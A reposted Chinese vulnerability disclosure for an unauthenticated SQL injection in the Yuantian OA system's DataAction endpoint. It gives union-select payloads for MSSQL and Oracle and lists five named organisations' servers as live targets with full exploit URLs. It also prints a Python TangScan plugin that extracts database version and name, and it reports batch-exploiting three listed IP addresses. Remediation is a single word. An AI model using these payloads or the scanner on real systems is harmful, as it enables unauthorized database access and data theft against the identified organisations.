某OA通用型SQL注入漏洞 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    1)通用型SQL注入漏洞厂商:源天软件

    网址:http://www.visionsoft.com.cn/

    漏洞链接:ServiceAction/com.velcro.base.DataAction

    说明:该oa系统使用mssql和oracle两个类型的数据库,

某OA通用型SQL注入漏洞

。案例分别给出两种类型的利用poc。

    利用POC:

    MsSql数据库:

    ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select @@version&isworkflow=true

    Oracle数据库:

    ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select (select banner from sys.v_$version where rownum=1) from dual&isworkflow=true

    (直接访问即可):

    MsSql部分

    A)http://km.best-team.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true

    B)http://bms.9square.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true

    C)http://oa.jsfuan.com/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20@@version&isworkflow=true

    Oracle部分

    D)http://winshare.com.cn/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select (select banner from sys.v_$version where rownum=1) from dual&isworkflow=true

    E)http://oa.mcds.com/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20(select%20banner%20from%20sys.v_$version%20where%20rownum=1)%20from%20dual&isworkflow=true

    2)说好的为了支持 TangScan 而来直接给出编写好的插件代码(本人代码盲,瞎写的,大牛勿喷),等公布时,该插件已经入库 TangScan.com 。

#! /usr/bin/env python# -*- coding: utf-8 -*-"""Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)See the file 'docs/COPYING' for copying permissionauthor: fate0"""import refrom thirdparty import requestsfrom modules.exploit import TSExploit__all__ = ['TangScan']class TangScan(TSExploit):    def __init__(self):        super(self.__class__, self).__init__()        self.info = {            "name": "源天软件OA办公系统 sql 注入MSSQL版漏洞(无需登录)",            "product": "源天",            "product_version": "",            "desc": """                OA办公系统 /ServiceAction/com.velcro.base.DataAction 中的 sql 参数存在注入, 将导致敏感数据泄漏            """,            "license": self.license.TS,            "author": ["Coody"],            "ref": [                {self.ref.wooyun: "暂无"},            ],            "type": self.type.injection,            "severity": self.severity.high,            "privileged": False,            "disclosure_date": "2015-07-22",            "create_date": "2015-07-23",        }        self.register_option({            "url": {                "default": "",                "required": True,                "choices": [],                "convert": self.convert.url_field,                "desc": "目标 url"            }        })        self.register_result({            "status": False,            "data": {                "db_info": {                    "version": "",                    "current_db": ""                }            },            "description": "",            "error": ""        })    def verify(self):        self.print_debug("verify start")        re_version_pattern = re.compile(r'(.+?)', re.IGNORECASE | re.DOTALL | re.MULTILINE) exp_url = ("{domain}/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select @@version&isworkflow=true".format(domain=self.option.url))        try:            response = requests.get(exp_url, timeout=15, verify=False)        except Exception, e:            self.result.error = str(e)            return        re_result = re_version_pattern.findall(response.content)        if len(re_result) == 0:            self.result.status = False            return        self.result.status = True        self.result.data.db_info.version = re_result[0]        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(            url=self.option.url,            db_version=re_result[0]        )    def exploit(self):        self.print_debug("exploit start")        re_userinfo_pattern = re.compile(r'(.+?)', re.IGNORECASE | re.DOTALL | re.MULTILINE)        exp_url = ("{domain}/ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id='' and 1=2 union all select db_name()&isworkflow=true".format(domain=self.option.url))        try:            response = requests.get(exp_url, timeout=15, verify=False)        except Exception, e:            self.result.error = str(e)            return        re_result = re_userinfo_pattern.findall(response.content)        if len(re_result) == 0:            self.result.status = False            return        self.result.status = True        self.result.data.db_info.current_db = re_result[0]        self.result.description = "目标 {url} 存在sql注入, 数据库名称为: {current_db}".format(            url=self.option.url,            current_db=self.result.data.db_info.current_db        )if __name__ == '__main__':    from modules.main import main    main(TangScan())
看下执行插件后的结果:

    执行 --mode verify (默认)

   

    执行 --mode exploit

   

    插件运行正常,能够顺利输出数据,

电脑资料

某OA通用型SQL注入漏洞》(https://www.unjs.com)。。。。。。

    到这里本来应该结束了

    但是我手贱

    给出批量检测网站的脚本测试结果

    测试的网站分别是:

    http://60.12.113.234:8080/

    http://121.14.195.31:8081/

    http://218.246.22.194:8080/

    测试中,直接执行 --mode exploit ,批量获取数据库名称吧。

   

    测试完毕,看下结果文件 success.txt 内容

   

    嗯、到这里该结束了···

   

解决方案:

    过滤

最新文章